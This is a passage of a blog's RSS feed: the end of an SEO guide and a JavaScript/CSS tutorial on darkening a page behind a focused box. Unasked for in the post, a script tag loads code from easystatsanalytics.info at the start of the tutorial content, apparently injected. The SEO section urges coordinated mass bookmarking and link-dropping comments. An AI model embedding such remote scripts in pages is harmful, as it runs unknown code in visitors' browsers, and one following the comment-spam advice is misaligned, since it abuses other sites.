Assign each site to a junior for updating information of you site at these social sites.<br />
<strong>9. Bookmark</strong><br />
This is a must. The above link I gave you contains a list of bookmarking sites. Tell as many people to register at all of them as you can.<br />
You must have more than 10 ppl having accounts in all these bookmarking site. The more you can manage the better the result will be.<br />
Add each page of your site as a bookmark to all of them.  (This must be done by all the people)<br />
<strong>10. News and Blogs</strong><br />
Subscribe to google alert about all your keywords. It will send you mail if google finds any site having your keyword.<br />
Check each site and if there is any option of commenting on them just comment it and don&#8217;t forget to enter your website.<br />
Comment must be meaningful and relevant else it will be rejected by the owner. Don&#8217;t advertise your website until you find its relevant.<br />
You must add comment on news sites.<br />
<strong>11. Questions and Answers</strong><br />
People will be asking questions related to event in sites like Yahoo answers. You can finds the list in the link I gave you. Dont forget to answer each for them.<br />
<strong>12. Don&#8217;t do it alone</strong><br />
Whatever I wrote above won&#8217;t work if only 1-2 ppl do it. You must get a mass for doing the above things. At least 10 ppl are required.</p>
<h3>When People start visiting</h3>
<p>13. Don&#8217;t forget to provide the best service. Your site must have a RSS feed, a twitter account. Keep the feed and tweet flooded with important information ONLY. <strong>Site&#8217;s usability is very important</strong>. You don&#8217;t want visitors to go away after they visit your site.<br />
So take a survey of general people implement what mass says. This must be done after your site is complete. People like watching changes.</p>
<p>14. Once people start talking, stop publicizing, and pay more attention to content and usability.<br />
Even if you make it to 1st rank in google. People can find same stuff in 2nd rank website too, at that time its only your site&#8217;s design and usability that will attract them.</p>
<p><strong>Usability: By usability I mean ease of finding data that they want.</strong></p>
<p><strong>___________________________________________</strong></p>
<p><strong><br />
</strong></p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/tutorial-fast-site-engine-optimization/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Javascript Tutorial: Gray-out the screen, Focusing on a box by darkening background content</title>
		<link>http://www.blog.rahulprasad.com/javascript-tutorial-gray-out-the-screen-focusing-on-a-box-by-darkening-background-content/</link>
		<comments>http://www.blog.rahulprasad.com/javascript-tutorial-gray-out-the-screen-focusing-on-a-box-by-darkening-background-content/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 13:46:29 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Website Designing]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[Grey-out]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://rahulprasad.com/blog/?p=250</guid>
		<description><![CDATA[In this tutorial you will learn about using Javascript DOM to Disable the page content by covering it with a layer (of div tag) or simply Graying out the screen. A little Blah Blah You might have seen on many websites, when you click a link, the whole page darkens and you are focused on [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/javascript-tutorial-gray-out-the-screen-focusing-on-a-box-by-darkening-background-content/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>In this tutorial you will learn about using Javascript DOM to Disable the page content by covering it with a layer (of div tag) or simply Graying out the screen.</p>
<h3>A little Blah Blah</h3>
<p>You might have seen on many websites, when you click a link, the whole page darkens and you are focused on a specific box. Here is the tutorial on how to create it.<br />
Example <a href="http://pixel2life.com">www.pixel2life.com</a> (click on login button)</p>
<h3>Lets begin</h3>
<p>Here is a code of the page which we are going to modify.<br />
Old HTML code comes here</p>
<div class="dean_ch" style="white-space: wrap;">&lt;html&gt;<br />
&lt;head&gt;&lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;div id=&quot;outsider&quot;&gt;<br />
&lt;div id=&quot;IEcenterFix&quot;&gt;Some text here&lt;/div&gt;<br />
&lt;div id=&quot;initiator&quot;&gt;Click me&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p><span id="more-250"></span></p>
<p>Add a div tag inside body tag. Assign it with an id say &#8220;cover&#8221;. Add following style to the cover div. Also add a div for box that will be visible when you cover(darken) the screen, let its id be &#8220;box&#8221;.</p>
<p>Updated HTML</p>
<div class="dean_ch" style="white-space: wrap;">&lt;html&gt;<br />
&lt;head&gt;&lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;div id=&quot;cover&quot;&gt;<br />
&lt;/div&gt;<br />
&lt;div id=&quot;box&quot;&gt;Sample box&lt;/div&gt;<br />
&lt;div id=&quot;outsider&quot;&gt;<br />
&lt;div id=&quot;IEcenterFix&quot;&gt;Some text here&lt;/div&gt;<br />
&lt;div id=&quot;initiator&quot;&gt;Click me&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>CSS:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="re0">#cover</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">width</span>: <span class="re3"><span class="nu0">100</span>%</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">background-color</span>: <span class="re0">#<span class="nu0">333333</span></span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">position</span>: <span class="kw2">absolute</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">left</span>: <span class="re3">0px</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">top</span>: <span class="re3">0px</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">visibility</span>: <span class="kw2">hidden</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; opacity<span class="re2">:<span class="nu0">0</span></span><span class="re1">.<span class="nu0">75</span></span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; filter<span class="re2">:alpha</span><span class="br0">&#40;</span>opacity=<span class="nu0">75</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">z-index</span>: <span class="nu0">998</span>;<br />
<span class="br0">&#125;</span><br />
<span class="re0">#box</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">position</span>: <span class="kw2">relative</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">width</span>: <span class="re3">600px</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">top</span>: <span class="re3">100px</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">z-index</span>: <span class="nu0">999</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">visibility</span>: <span class="kw2">hidden</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">height</span>: <span class="re3">300px</span>;<br />
<span class="br0">&#125;</span></div>
<h2>Cover</h2>
<p>This is the div layer that will cover up the screen. So its width must be 100% of the document.<br />
This div is just after body tag so making its position absolute we make sure that it wont cover any space after body tag (ie it will be floating).<br />
Its position will be 0px from left 0px from right. Its opacity will be 75%.<br />
Now we don&#8217;t want it to be active at first so we set its visibility to hidden. We added a z-index of 998 just to make sure it is placed at top.</p>
<h2>Box</h2>
<p>We define the height and width of box as 300px and 600px respectively. We define its position from top. Its position from left must be set by javascript to keep it in center.</p>
<p>All the modification to HTML and CSS are complete. Now we have to add some javascript.<br />
Here is the code.</p>
<div class="dean_ch" style="white-space: wrap;">document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;cover&quot;</span><span class="br0">&#41;</span>.<span class="me1">style</span>.<span class="me1">height</span> = window.<span class="me1">screen</span>.<span class="me1">height</span>;<br />
<span class="co1">// document.getElementById(&quot;cover&quot;) finds an element with id cover</span><br />
<span class="co1">// window.screen.height returns the height of the window.</span><br />
<span class="co1">// So we set the height of cover div to height of window.</span></p>
<p><span class="kw2">var</span> winW, winH;<br />
browserWindowSize<span class="br0">&#40;</span><span class="br0">&#41;</span>;</p>
<p>document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;box&quot;</span><span class="br0">&#41;</span>.<span class="me1">style</span>.<span class="me1">left</span> = winW/<span class="nu0">2</span><span class="nu0">-300</span>;<br />
<span class="co1">// we set the position of box from left to &gt;&gt; (center position of window) &#8211; (width of the box)</span><br />
<span class="co1">// Value of winW is obtained by function browserWindowSize(); which is defined below</span></p>
<p><span class="co1">// This function is taken from http://www.developersnippets.com/2007/05/13/cross-browser-snippet-for-finding-the-size-of-the-browser-window/</span><br />
<span class="kw2">function</span> browserWindowSize<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> browserWinWidth = <span class="nu0">0</span>, browserWinHeight = <span class="nu0">0</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> <span class="kw1">typeof</span><span class="br0">&#40;</span> window.<span class="me1">innerWidth</span> <span class="br0">&#41;</span> == <span class="st0">&#8216;number&#8217;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//Non-IE</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; browserWinWidth = window.<span class="me1">innerWidth</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; browserWinHeight = window.<span class="me1">innerHeight</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="kw1">if</span><span class="br0">&#40;</span> document.<span class="me1">documentElement</span> &amp;&amp; <span class="br0">&#40;</span> document.<span class="me1">documentElement</span>.<span class="me1">clientWidth</span> || document.<span class="me1">documentElement</span>.<span class="me1">clientHeight</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//IE 6+ in &#8216;standards compliant mode&#8217;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; browserWinWidth = document.<span class="me1">documentElement</span>.<span class="me1">clientWidth</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; browserWinHeight = document.<span class="me1">documentElement</span>.<span class="me1">clientHeight</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="kw1">if</span><span class="br0">&#40;</span> document.<span class="me1">body</span> &amp;&amp; <span class="br0">&#40;</span> document.<span class="me1">body</span>.<span class="me1">clientWidth</span> || document.<span class="me1">body</span>.<span class="me1">clientHeight</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//IE 4 compatible</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; browserWinWidth = document.<span class="me1">body</span>.<span class="me1">clientWidth</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; browserWinHeight = document.<span class="me1">body</span>.<span class="me1">clientHeight</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; winW = browserWinWidth;<br />
&nbsp; &nbsp; &nbsp; &nbsp; winH = browserWinHeight;<br />
<span class="co1">//&nbsp; &nbsp; &nbsp; alert( &#8216;Browser Window Width = &#8216; + browserWinWidth +&#8217; Browser Window Height = &#8216;+browserWinHeight);</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">function</span> coverIt<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Set the visiblity of cover to visible</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;cover&quot;</span><span class="br0">&#41;</span>.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;visible&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// set the visibility of box to visible.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;box&quot;</span><span class="br0">&#41;</span>.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;visible&quot;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="co1">// Call the function coverIt when somebody clicks on anything whose id it &quot;initiator&quot;</span><br />
document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;initiator&quot;</span><span class="br0">&#41;</span>.<span class="me1">onclick</span> = coverIt;</div>
<p>Now you want the cover to hide when you click on it. To make it happen just add this javascript function.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> backToNormal<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Set the visiblity of cover to hidden</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;cover&quot;</span><span class="br0">&#41;</span>.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;hidden&quot;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="co1">// Call the function backToNormal() when somebody clicks on cover</span><br />
document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;cover&quot;</span><span class="br0">&#41;</span>.<span class="me1">onclick</span> = backToNormal;</div>
<p>If you want to add a link in box to close the box just add the following code to the link.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;a href=&quot;#&quot; onclick = &quot;backToNormal()&quot;&gt;Close me&lt;/a&gt;</div>
<h3>USES ?</h3>
<p>You can use it for disabling the access to page.<br />
You can use it to focus at specific content.<br />
You can use it to make your site look modern.</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/javascript-tutorial-gray-out-the-screen-focusing-on-a-box-by-darkening-background-content/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

